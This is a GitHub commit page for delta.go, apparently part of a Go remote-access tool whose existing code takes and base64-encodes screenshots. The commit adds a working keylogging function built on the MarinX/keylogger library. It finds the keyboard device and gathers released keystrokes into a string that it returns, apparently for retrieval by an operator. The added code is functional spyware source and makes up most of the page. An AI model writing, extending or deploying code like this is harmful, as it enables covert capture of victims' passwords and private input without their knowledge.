Skip to content

Commit

Permalink
Added keylogging function
Browse files Browse the repository at this point in the history
  • Loading branch information
nemzyxt committed Nov 9, 2022
1 parent 96bdd02 commit 3b006b7
Showing 1 changed file with 24 additions and 0 deletions.
24 changes: 24 additions & 0 deletions delta.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ import (
"time"

"github.com/kbinani/screenshot"
"github.com/MarinX/keylogger"
)

const (
Expand Down Expand Up @@ -148,4 +149,27 @@ func take_screenshot() (string) {
b64_string := b64.StdEncoding.EncodeToString(content)
os.Remove("scrshot.png")
return b64_string
}

// log keystrokes
func log_keystrokes() (string, string) {
keyboard := keylogger.FindKeyboardDevice()
if len(keyboard) <= 0 {
return "", "No keyboard found"
}
if k, err := keylogger.New(keyboard); err != nil {
return "", err.Error()
} else {
logs := ""
events := k.Read()
for e := range events {
switch e.Type {
case keylogger.EvKey:
if e.KeyRelease() {
logs += e.KeyString()
}
}
}
return logs, ""
}
}

0 comments on commit 3b006b7

Please sign in to comment.